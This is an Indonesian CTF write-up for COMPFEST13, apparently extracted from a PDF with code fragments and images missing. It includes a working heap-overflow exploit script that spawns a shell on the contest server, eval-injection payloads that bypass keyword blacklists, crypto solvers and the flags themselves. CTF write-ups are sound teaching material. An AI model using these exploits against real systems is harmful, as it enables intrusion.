Tim
www.youtube.com/watch?v=dQw4w9WgXcQ
Table Of Contents
Binary Exploitation 3
Shop Manager 3
Cryptography 7
Snab? Yes, Snab 7
You AES Me Up 11
Secure Channel 15
Forensics 24
VidCap 24
Naomi Gives Noises 25
Misc 31
Promotional Video 31
Sanity Check 33
Baby JS 34
Lab 36
WaifuDroid 38
Reverse Engineering 40
Binary Pin 40
Magical Mystery Club 47
Web Exploitation 53
Hospital Donation 53
2
Binary Exploitation
Shop Manager
Diberikan sebuah file zip yang berisi 3 binary yaitu: chall, ld-2.27.so, serta
libc-2.27.so. chall merupakan binary yg harus diexploitasi untuk mendapatkan flag.
Sekilas struktur soal mirip pada soal-soal heap pada umumnya. Setelah dilakukan recon,
diperoleh beberapa informasi sebagai berikut:
1. Item disimpan pada heap dengan ukuran alokasi memory yang tetap (0x10, cmiiw)
3
2. Input nama item tidak diberi batasan panjang
3. Input harga dapat mencapai 0x7fffffffffffffff
4. Terdapat vulnerability buffer overflow pada fungsionalitas sell item
5. Tidak terdapat stack canary serta PIE
#!/usr/bin/python3
from pwn import *
import sys
#convenience Functions
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
HOST = '103.152.242.242'
PORT = 4204
BINARY = ELF('./chall', checksec=False)
LIBC = ELF('./libc-2.27.so', checksec=False)
LD = ELF('./ld-2.27.so', checksec=False)
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-h']
4
def add(r, name, price):
r.sendlineafter('> ', '1')
r.sendlineafter('Item name: ', name)
r.sendlineafter('Item price: ', price)
return b'Item added successfully.\n' in r.recvline()
def list_item(r):
r.sendlineafter('> ', '4')
r.recvuntil(b'Item List\n')
last = b'\n\n==========================================='
raw_content = r.recvuntil(last)[:-len(last)]
contents = raw_content.split(b'\n\n')
parsed_contents = []
for content in contents:
name,price = content[len('Name: '):].split(b'\nPrice: ')
parsed_contents.append({
'name': name,
'price': price,
})
return parsed_contents
5
last = b'\nItem sold successfully.\n'
first = b'You said: '
result = r.recvuntil(last)[len(first):-len(last)]
return result
one_gadget = [
0x4f3d5,
0x4f432,
0x10a41c,
]
# end of user defined func
r = remote(HOST, PORT)
# leak libc
add(r, 'A'*8*3, '1'*0x14)
add(r, 'B', '15000')
edit(r, 0, b'A'*(8*7) + p64(BINARY.got['__libc_start_main']),
'10000')
edit(r, 0, b'A'*(8*4) + p64(0) + p64(0x21) + b'A', '10000')
libc = uu64(list_item(r)[1]['name'])-138000
delete(r, 0)
delete(r, 1)
add(r, 'AAA', '1000')
og = libc+one_gadget[2]
sell_item(r, 0, b'\x00'*56 + p64(og))
r.sendline('cat flag.txt')
r.recvuntil('COMPFEST13{')
flag = r.recvuntil('}').decode()[:-1]
print(f'COMPFEST13{{{flag}}}')
# COMPFEST13{Ov3rFloooo0oow_eveRywh3r3_80483bdef0}
Flag: COMPFEST13{Ov3rFloooo0oow_eveRywh3r3_80483bdef0}
6
Cryptography
Snab? Yes, Snab
7
Pada file snab.py di atas terlihat algoritma enkripsi yang digunakan adalah RSA.
Beberapa nilai yang diketahui adalah e, s, n, a, b dan c_list. Untuk dapat melakukan dekripsi
pada pada m_list diperlukan nilai r dan juga d. Setelah melakukan penyederhanaan terhadap s
didapatkan persamaan sebagai berikut.
s = p2 x r
Karena nilai s merupakan perkalian salah satu bilangan prima yang digunakan pada
modulus n, nilai p bisa didapatkan dengan menemukan gcd dari n dan s yaitu p itu sendiri.
GCD(s, n) = p
q=p/n
r = s / p2
d = mod
d = modular multiplicative inverse dari e (mod λ(n))
Setalah didapatkan nilai d dan r maka m_list bisa didapatkan dengan melakukan
dekripsi. Didapatkan hasil dekripsi seperti pada gambar di bawah ini.
Flag dibagi menjadi 2 bagian yang berselang 1 karakter. halfa dan halfb bisa
didapatkan dengan mengurangkan p - r dan q - r. Setelah didapatkan nilai halfa dan halfb
selanjutnya tinggal menyusun flag sesuai dengan urutannya. Berikut full solver yang
digunakan.
8
from gmpy2 import gcd
from sympy import mod_inverse
from Crypto.Util.number import long_to_bytes
from pwn import xor
import sympy
e = 65537
s=
5185214841720732590431455020346945995129354432830761070034948406435041506
6324840241046292886412281899973128061909575561664804468763028547636336723
4348295346345048643618601901838740100
n=
1217893764879608094892533865871706866587687266570455532146234159923848326
1448524913725687445426703240136517385956321081495348789357441340993211758
5950570225259024509903129746392143101
a = 14910
b=
1443061772954701335732136128869248910288995712185482317126411260349775148
9327845975881155487800677619938411929612056984185014687627346866959755505
61598140253475710348439640002745286347562
c_list =
[958445325539917376003552446542720993053619755751503713197097290912430302
0357589874207198719980025092250174662643398525303871385315174685751476267
8605619742310839669559545627531098676,
4209826211787260718024537622627923484453718966779261129097813777013120529
5202393318329675438677406769928295941768074280915365884838027414974072838
410934952571392616562898636004189303,
8604504123043858588289398284978073629384165878986588408956445422750740896
6367008407134083097725471467768230674823074955765520574008948616161237134
00577813256614795674220942022738198,
6689691623502879101055413087983416345672189702445392956415154572720232003
9792487273512943832159287883050106923587075192390665897004465138382234040
927275478139131450371794658563343368,
8817613012878241382139031855015100838857013212018266434256667132854611942
3517817326934034720909238554168653863093116429325532932401977519369212892
117707167802400008407395125896733332,
4225003927464077863060371760516382796117657782856405537058892919240101558
7247485151024369147022833032549004175634147831360114651662490704138925606
397505368573040950634048151235675964,
1062678438225467525287808797374013519481707414468177696845165696568160051
4789726732145276463455375148808544093870677362528715437264599124414112122
6180609731226228509942129690482744498,
7344462713592491879813960159075800353984094813742489003735150623847056840
4605950910488792866346911697647936494261769751584145554547780754302336997
80146900520609629142406422725693811,
6815573289609234589682737951662413328016698698402354199308533090632196088
8421556683672078055376548346464764100036149614632795220030187229733989823
788323988946361921828069707823065198,
9
2456638129741631242062051214133833843357605035108383884677777076160879939
7569854035576042646489035115284014788768715787754401014828140727143553660
84122429853207060638683606389504551,
9967198227164578890341401638455097516536196534598017792811501802727117306
2935625698434769263846972984813377601618481025600240081090732166957299336
765744471217496851539810214590361856]
p = gcd(b, n)
q = n/p
assert p*q == n
assert s == pow(p + q, 2)
r = b/(pow(p, 2))
phi = (p-1) * (q - 1)
d = mod_inverse(e, phi)
m_list = []
for i in range(len(c_list)):
m = pow(c_list[i], d, n)
m_list.append(long_to_bytes(m/r))
print("".join(m_list))
# 2nd
msg1 = long_to_bytes(p - r)
msg2 = long_to_bytes(q - r)
print(msg1)
print(msg2)
flag = ""
for i in range(0, len(msg1), 2):
flag += msg1[i] + msg2[i] + msg1[i+1] + msg2[i+1]
print(flag)
10
Flag COMPFEST13{y0U_d1DnT_3xpEcT_t0_FinD_pQ_4s_a_fl4g_DiD_y0u_7e1877a801}
You AES Me Up
11
Script di atas merupakan script yang dijalankan pada service nc 103.152.242.242
5592. Terdapat 3 menu utama yang bisa digunakan. Menu 1 bisa digunakan untuk melakukan
enrkipsi flag. Enkripsi flag dilakukan dengan 2 kali proses. Pertama flag asli dienkripsi
dengan menggunakan AES-ECB kemudian dilakukan enkripsi kembali dengan algoritma
enrkripsi AES yang mirip dengan mode PCBC. Terdapat juga fungsi untuk melakukan
enkripsi palintext pada menu 2 dan melakukan dekripsi pada menu 3.
Karena flag asli terenkripsi dengan mode ECB maka harus diketahui nilai IV dan juga
ciphertext yang dihasilkan dari AES ECB. Nilai IV bisa didapatkan dengan skema berikut:
12
decrypted_cbc = dec(encrypted_pcbc[0:2], PCBC, IV)
encrypted_ecb[1] = ( decrypted_cbc[0] ^ decrypted_cbc[1] )
IV = encrypted_ecb[1] ^ dec(encrypted_pcbc[1], CBC, IV) ^ encrypted_pcbc[0] ^
decrypted_cbc[0]
Hasil dekripsi blok pertama pada ciphertext yang dihasilkan dari mode PCBC
merupakan ciphertext ecb langsung sehingga pada blok ciphertext pertama tidak diperlukan
proses lebih lanjut dan blok ciphertext kedua sudah didapatkan pada skema di atas. Untuk
mendapatkan ciphertext ecb yang tersisa dapat digunakan skema berikut:
def connect():
r = remote("103.152.242.242", 5592)
return r
def processX():
r = process("chall.py")
return r
13
def splitBlock(cipher, blok_size=32):
blocks = []
for i in range(0, len(cipher), blok_size):
blocks.append(cipher[i:i+32])
return blocks
# r = processX()
r = connect()
r.sendlineafter("> ", '1')
r.recvuntil("flag (in hex) = ")
flag_cipher = r.recvline().strip()
blocks = splitBlock(flag_cipher)
c = b"".join(aes_ecb_cipher)
print(decAESECB(IV, unhexlify(c)))
14
Flag
COMPFEST13{Y0u_aes_me_Uppppppp_____t0_c0dE_on_st0rmy_Seaaaas____e0212d1a3
4}
Secure Channel
15
16
Pada challenge ini diberikan service sebagai berikut:
- Watch the conversation: nc 103.152.242.242 145
- Talk with Alice: nc 103.152.242.242 1456
- Talk with Bob: nc 103.152.242.242 1458
Pada service Watch the conversation kita bisa melihat percakapan alice dan bob yang
terenkripsi. Namun untuk melakukan dekripsi diperlukan pengetahuan private key yang
digunakan bob. Script di atas terlihat bahwa nilai secret yang digunakan bob hanya berkisar
dari 2 sampai 100 sehingga bruteforce feasible. Dengan menggunakan service Talk With Bob
bisa didapatk secret key. Kemudian dekripsi terhadap percakapan bisa dilakukan dengan
17
proses diffie hellman key exchange. Karena key yang digunakan pada enkripsi AES CBC
pada alice dan bob sama dekripsi bisa dilakukan. Berikut merupakan script untuk memantau
percakapan alice dan bob.
NC = "103.152.242.242"
ALICE_BOB_PORT = 1457
ALICE_PORT = 1456
BOB_PORT = 1458
G = 383645461853941256630730859159859806573
MOD = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
MY_SECRET = 0x0d1f
sp = list(map(ord, list(string.printable)))
def connect(port):
r = remote(NC, port)
return r
def close(r):
r.close()
def getG():
return b64encode(lb(G))
18
while (len(key) != 16):
key += b'\x01'
return key
def getMySecret():
return b64encode(lb(MY_SECRET))
def unpad(msg):
new_msg = ""
for c in msg:
if c in sp:
new_msg += chr(c)
return new_msg
# Talk to bob
talk_to_bob = connect(BOB_PORT)
print(talk_to_bob.sendlineafter("Your secret: ", getMySecret()))
print(f"g = {getG()}")
print(talk_to_bob.sendlineafter("g: ", getG()))
# Get p
talk_to_bob.recvuntil("p:")
p = int(talk_to_bob.recvline().strip())
bob_secret = getSecretKey(bob_public_part, p)
print(f"Bob's Secret {bob_secret} \n")
assert bob_secret != 0
# My public part
talk_to_bob.recvuntil("Your public part:")
my_public_part = bl(b64decode(talk_to_bob.recvline().strip()))
19
# My private part
talk_to_bob.recvuntil("Your private part:")
my_private_part = b64decode(talk_to_bob.recvline().strip())
print(f"My private part {my_private_part} \n")
close(talk_to_bob)
# Wath conversation
# Send G
watch = connect(ALICE_BOB_PORT)
watch.sendlineafter("g: ", getG())
# Get p
watch.recvuntil("p:")
p = int(watch.recvline().strip())
msg = ""
while True:
try:
print(watch.recvline().strip())
print(watch.recvline().strip())
alice_msg = watch.recvline().strip()
print(alice_msg)
alice_msg = b64decode(alice_msg)
dec = decryptMessage(bob_private, alice_msg)
dec = unpad(dec)
msg += dec + '\n'
print(msg)
print(watch.recvline().strip())
print(watch.recvline().strip())
20
print(watch.recvline().strip())
bob_msg = watch.recvline().strip()
print(bob_msg)
bob_msg = b64decode(bob_msg)
dec = decryptMessage(bob_private, bob_msg)
dec = unpad(dec)
msg += dec + '\n'
print(msg)
print(watch.recvline().strip())
except:
watch.close()
break
Setelah melakukan pencarian di internet didapatkan kesimpulan bahwa alice dan bob
menggunakan ASCII85. Berikut merupakan hasil decode ASCII85.
21
import base64
a = ["""87d&""",
"""87d'2""",
"""6>p<c/c""",
"""=(l#a""",
"""6uO2nDfm1=Bkq9&@3BW&@rc.&56""",
"""=(lLpA8c%#DC9NKCh[Zr56""",
""":2+3L/g*_.BOQ'q+EV:2F!,(2@:q1""",
"""=(l#a56""",
"""6VgEQ7R^6T0f+/5An3YW1c@1!""",
"""88W2r+A-ctF<G[=AKYT!EcZ=F1,'h\BOPpi@ru:&F$B""",
"""8LJ?tE,oN3FEo!MF`M%9H#IgJBOQ'q+EV:.+ED%7F8""",
"""=_2#T/0JP@@:re"0KM*G>l""",
"""8K_\TG%De<BOr;uCggs\2D@0t+EVO?/hSa""",
""":MVL(8K`4kCht58ASu$$BlkJ+AoqU)+F.mJ/g*Z&+E)-M""",
"""1GE8q0f:XC2DR7%@:h?'2`!:"1HAu'1H9d""",
"""1,r\s@P^#%2*#8*An*\P0Ocjn@l.XL2e?JY@:V;R2)-jB3Ab/(""",
""":2+3L/0K.J+D>2,AKZ).AKYT$@:p^#Dg*?""",
"""8K_\bE+L/*@:O(aEcW@5@;]t$F<GX9AKZ).Blbm""",
"""<+oue+Cf(nDJj$%+DGm>F(Jj(Eb-A6BkM+$56""",
"""=_2#T/c""",
"""8K_\bE+L/;DfmFJAKZ#-B4uB>""",
"""8K_\bE+L/5D_;""",
""":MV(pBOu&""",
"""6@!,p""",
"""6@!,""",
"""@X2M""",]
for i in a:
try:
d = base64.a85decode(i)
s2 = d.decode("UTF-8")
print(s2)
except:
continue
22
Flag
COMPFEST13{4fd29464a28a1b39559f4fc500b41c4b17ec8ad74512394a830b51506628caf4
_734b39d538}
23
Forensics
VidCap
Diberikan sebuah file packet capture bernama capture.pcapng, setelah kami bac abaca
menggunakan tool wireshark kami menemukan bahwa traffic yang terdapat pada file ini
merupakan traffic dari video streaming menggunakan protocol RTMPT.
Awalnya kami cukup kebingungan karena sudah banyak yang solve challenge tersebut namun
kami tidak menemukan cara mudah untuk mengexport video ber-codec h.264 dari payload
data RTMPT. Sempat dicoba kami extract menggunakan bantuan pyshark menjadi file
berformat .264, namun saat kami ubah agar bisa dimainkan menggunakan ffmpeg, kami
gagal karena tidak terdapat NAL header dalam file tersebut. Sampai cukup lama, akhirnya
kami menemukan tool bernama rtmp2flv (https://github.com/quo/rtmp2flv).
Pertama tama kami ubah dulu menjadi .rtmp menggunakan tool tcpflow
tcpflow -T %T_%A%C%c.rtmp -r capture.pcap
./rtmp2flv.py *.rtmp
Meskipun terdapat error, file yang telah terbuat tetap bisa dimainkan
24
Flag : COMPFEST13{aha_gotcha_9437e8f141}
Kami awalnya kebingungan maksud dari kode morse tersebut. Namun, setelah melihat file
Flag.jpg yang seperti kotak kotak tebak kata, kami menduga kode morse tadi bisa
dimasukkan ke dalam kotak tersebut. Setelah kami hitung hitung ternyata ukurannya pas.
25
Selanjutnya kami melihat isi dari Flag.jpg menggunakan hex editor, kami menduga bahwa
terdapat steganografi di dalam file tersebut karena adanya huruf yang berurutan.
Kami selanjutnya membuat sebuah script python untuk membuat semua kemungkinan
password yang sesuai dengan ukuran kotak kotak dengan berbagai urutan. Bisa dari atas ke
bawah dari kanan ke kiri maupun sebaliknya, bisa juga dari kiri ke kanan secara vertikal.
iterations = [ "321", "123", "213", "312", "132", "231" ]
bold_text = []
def create_string(text, append_start, append_end, bold_pos):
global bold_text
bold_text_in_string = []
sliced = []
insert = []
new_text = ""
text_pos = 0
ret_text = ""
if len(bold_pos)==0:
bold_text.append(bold_text_in_string)
return "*"*append_start + text + "*"*append_end
else:
sliced.append(new_text[:pos - text_pos - 1])
insert.append(new_text[pos - text_pos - 1:pos - text_pos])
new_text = new_text[pos - text_pos:]
text_pos = pos
26
count = 0
for text_sliced in sliced:
ret_text += text_sliced
ret_text += underline_format.start + insert[count] + underline_format.end
bold_text_in_string.append(insert[count])
count +=1
ret_text += new_text
bold_text.append(bold_text_in_string)
return "*"*append_start + ret_text + "*"*append_end
def shuffle_bold(bold_arr):
output = ""
# Top Left
for bold_line in bold_arr:
for chara in bold_line:
output+=chara
print(output)
output = ""
# Top Right
for bold_line in bold_arr:
for chara in bold_line[::-1]:
output+=chara
print(output)
output = ""
# Bottom Left
for bold_line in bold_arr[::-1]:
for chara in bold_line:
output+=chara
print(output)
output = ""
# Top Left
for bold_line in bold_arr[::-1]:
for chara in bold_line[::-1]:
output+=chara
print(output)
output = ""
# Snake Top Left
count_line = 0
for bold_line in bold_arr:
if count_line % 2 == 0:
for chara in bold_line:
output+=chara
else:
for chara in bold_line[::-1]:
output+=chara
count_line+=1
print(output)
output = ""
# Snake Top Right
count_line = 0
for bold_line in bold_arr:
if count_line % 2 == 1:
for chara in bold_line:
output+=chara
27
else:
for chara in bold_line[::-1]:
output+=chara
count_line+=1
print(output)
output = ""
output = ""
output = ""
class underline_format:
end = '\033[0m'
start = '\033[4m'
unknown_pos = [
28
"2NEVER8 GONNA GI0VE YOU 5UP",
"N1EVER 8GONNA 7SAY GOOD9BYE",
"N7EVER GONNA8 MAKE YOU 0CRY"
]
29
Setelah kami kumpulkan menjadi wordlist lalu diubah menjadi lowercase(sesuai dengan
hint). Kami menggunakan bantuan tool stegseek(https://github.com/RickdeJager/stegseek),
untuk menguji coba semua password dan mengextractnya.
30
Misc
Promotional Video
Setelah nonton videonya berkali-kali, iseng nyalain subtitle dan ternyata ada flagnya tapi
dalam bentuk kepisah-pisah per huruf. Biar enak, download aja subtitlenya pakai
https://downsub.com. Nah tinggal diolah pakai text editor buat disatuin.
31
Flag: COMPFEST13{c4ptUr3_Th3_Fl4g_cb1217bccd}
32
Sanity Check
Flag: COMPFEST13{Welcome_to_CTF_COMPFEST_13}
33
Baby JS
Diberikan sebuah web service dengan fungsionalitas secara umum mengeksekusi input yang
diberikan program.
Dari perilaku ini, diketahui digunakan nodejs sebagai bahasa pemrograman backend nya.
Kami coba inputkan console.log('ehe') ternyata tidak terjadi error, sehingga kami curiga
di balik layar program ini hanya menjalankan perintah semacam eval. Langsung saja kami
34
coba payload untuk membaca source code program (sebagaimana yang diperintahkan pada
deskripsi)
require("fs").readFileSync("index.js").toString()
Sepertinya ada semacam proteksi untuk beberapa keyword tertentu. Setelah kami cari-cari
sepertinya hanya required yang diblacklist, sehingga kami coba payload sebagai berikut
eval('req'+'uire("fs").readFileSync("index.js").toString()')
Flag: COMPFEST13{5t0p_hARdcoDeD_senS1tiv3_dat4_14f07bc4bd}
35
Lab
Yak soal OSINT, langsung saja dibaca deskripsinya lalu googling. Dari deskripsi yang
diberikan, kami coba cari research lab di UI yang berkaitan dengan pembelajaran jarak jauh
dan kami menemukan website ini http://dl2.cs.ui.ac.id/. Kami coba telusuri apa saja produk
dari research lab tersebut hingga mendapati halaman
http://dl2.cs.ui.ac.id/index.php/research-products/.
36
Yak singkat saja, kami cari tahu mana yang rilis tahun 2016 dan menemukan website self
monitoring online.
Nah dari sini kami tinggal cari publikasi yang berkaitan dengan pengembangan website
tersebut melalui https://lontar.cs.ui.ac.id.
Flag: COMPFEST13{monitoring.cs.ui.ac.id_muhammadluqmanhakim}
37
WaifuDroid
Singkat saja, kami baca source code nya dan langsung terlihat celah keamanan pada bagian
ini.
Proteksinya sangat kurang mengingat input user diterima mentah-mentah dan dieval. Untuk
menghindari regex “gimme secret” kami hanya perlu memisah string tersebut menjadi
gimme"+" secret
38
Flag: COMPFEST13{s4nDB0x3d_w41fUu_n3VeR_46a1N_c779251ea6}
39
Reverse Engineering
Binary Pin
Diberikan file zip yang berisi file jar. Langsung saja decompile menggunakan online tool
http://www.javadecompilers.com/.
40
Hasil dari dekompilasi yang paling penting adalah file Secret.java
class Secret {
private int cnt = 1;
private int[] box;
private int[] mydata = new int[]{0, 1, 1, 0, 1, 1, 1, 0, 0,
0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1,
0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0,
1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1,
0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1,
1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1,
1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1,
0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0,
1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1,
1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1,
0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1,
0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1,
0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1,
0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0,
0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1,
1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1,
0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0,
1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1,
0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0,
41
0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0,
1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1,
0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1,
0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0,
1, 0};
private static Secret instance = new Secret();
private Secret() {
int n = this.mydata.length / 9;
this.box = new int[n];
}
42
if (32 <= n2 && n2 < 128) {
object = (char)n2 + (String)object;
}
n2 = 0;
}
++n3;
}
object = (char)n2 + (String)object;
return object;
}
Singkat cerita, input kita yang hanya 0 atau 1 itu diproses dengan suatu metode lalu
menghasilkan suatu output. Dari script yang diberikan terlihat panjang input maksimal hanya
8 bit ( 256 ). Dari sini kami tidak ambil pusing, langsung modifikasi scriptnya saja untuk
bruteforce dan mencari yang outputnya berisi string COMPFEST.
43
class Secret {
private int cnt = 1;
private int[] mydata;
private int[] box;
private static Secret instance;
private Secret() {
this.cnt = 1;
this.mydata = new int[] { 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1,
1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0,
1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1,
1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1,
1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1,
0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1,
0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1,
1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1,
0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0,
1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1,
1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1,
1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0,
0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1,
1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0,
1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0,
1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1,
0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0,
1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0,
1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1,
0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1,
0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1,
1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1,
1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0 };
this.box = new int[this.mydata.length / 9];
}
44
public void process(char c) {
if (this.cnt > 9) {
return;
}
int n = this.mydata.length / 9;
for (int i = 1; i <= n; ++i) {
int n2 = 9 * i - this.cnt;
int n3 = this.box[i - 1] + this.mydata[n2];
this.mydata[n2] = (n3 += c - 48) % 2;
this.box[i - 1] = n3 >= 2 ? 1 : 0;
}
++this.cnt;
}
45
for (int j = 1; j <= 8; ++j) {
n4 += this.mydata[9 * i - j] * n5;
n5 <<= 1;
}
n3 = (int)((double)n3 + (double)(n4 - 33) *
Math.pow(85.0, --n2));
if (n2 != 0) continue;
object = (String)object + this.misteri(n3);
n3 = 0;
n2 = 5;
}
while (n2 > 0) {
n3 = (int)((double)n3 + 84.0 * Math.pow(85.0, --n2));
}
return (String)object + this.misteri(n3);
}
return sb.toString();
}
static {
Secret.instance = new Secret();
}
}
46
for(int i = 0; i < 256; i++) {
Secret.getInstance().resetInstance();
String code = Secret.getInstance().transform(i);
for (int j = 0; j < code.length(); j++){
Secret.getInstance().process(code.charAt(j));
System.out.println(Secret.getInstance().getData());
}
}
}
}
Flag: COMPFEST13{brut3Force_AND_w1n_6965d74c2e}
Reverse binary linux yang cukup sederhana. Intinya kita disuruh memasukkan suatu string
kemudian string tersebut diproses secara berbelit-belit (pemanggilan fungsi yang cukup
banyak dan dalam), lalu dibandingkan hasilnya dengan suatu nilai. Setelah binary diinpeksi
menggunakan ghidra, kami coba recreate menggunakan python lalu direverse logicnya (tbh,
47
nggak terlalu banyak yg bisa dijelasin karena intinya cuma XOR hasil pemrosesan 2 fungsi
yang berbeda) (Note di sini terlihat dalam binary dipanggil fungsi rand(), setelah kami
coba-coba berapapun nilai rand() tidak berpengaruh terhadap hasil output pemrosesan suatu
karakter sehingga kami hiraukan). Yak, seperti yang dibilang sebelumnya, ini script versi
python nya.
flag = p64(0x45b737817b841bdb)
flag += p64(0x267e07a86fc14218)
flag += p64(0x69e1b652cb729ea3)
flag += p64(0x5e7e7d051d86de97)
flag += p64(0xedbf6865511a9855)
flag += p64(0xe9adc7ce415a746c)
flag += p64(0xdc7bed5d6251f988)
flag += p64(0xfed5090ff8dd37f2)
flag += p64(0xb71e68f9da8346ad)
flag += p64(0x8780488c7f496863)
flag += p64(0xc06fd17d9b01fbeb)
flag += p64(0xf913113ddbdee8d9)
flag += p64(0x4df758090ab8ae99)
flag += p64(0x8dbcb4829778b4ac)
flag += p64(0xd569f78a9c092d0a)
flag += p64(0xf818ce39c8c4e7e8)
flag += p64(0xb5f78ecc2dbd59af)
flag += p64(0xb692b6805349836c)
flag += p64(0xfd841f43943fda1f)
flag += p64(0xeec1a93441962414)
flag += p64(0x3a6225f7f4309551)
flag += p64(0xed64258219350acc)
flag += p64(0x9e7041bf829e9218)
flag += p64(0xe852a8a5bf2a625)
flag += p64(0xbf2c1037adb6935a)
flag += p64(0x845bc1184914b2c5)
flag += p64(0x78a2716baae70af0)
flag += p64(0xecfc891acf2abc6b)
flag += p64(0xff85d0e086956650)
flag += p64(0x3bd5ccc8e5c2cfca)
48
flag += p64(0x8e3445fb88f2ea7)
flag += p64(0x6eb31827288dc75c)
flag += p64(0xbd949fe065fd72dc)
flag += p64(0x72cffd6b0479d1e7)
flag += p64(0xa438d5c03f2eb3ca)
flag += p64(0x59d64e97c94aa915)
flag += p64(0xa1a2985307dda179)
flag += p64(0x1c9fc505b3ccd51a)
flag += p64(0xcfd54eec85426136)
flag += p64(0x7b874cdb59b2a3f2)
flag += p64(0x234e33c24416629e)
flag += p64(0x9d6dfc40278f87de)
flag += p64(0x7341628cebf7f575)
flag += p64(0xa11946f5ef9cc128)
flag += p64(0xd65dba4a3574b26b)
flag += p64(0x16b1cc713ad76f02)
flag += p64(0xeed9cf98baa793db)
flag += p64(0x6eaf74fbaa9af375)
flag += p64(0xb2610aa0762ed640)
flag += p64(0x6b4f6183de5d240c)
flag += p64(0xa48394a549c62a2e)
flag += p64(0x241b0f79668a8142)
flag += p64(0xe1b0578321943c9d)
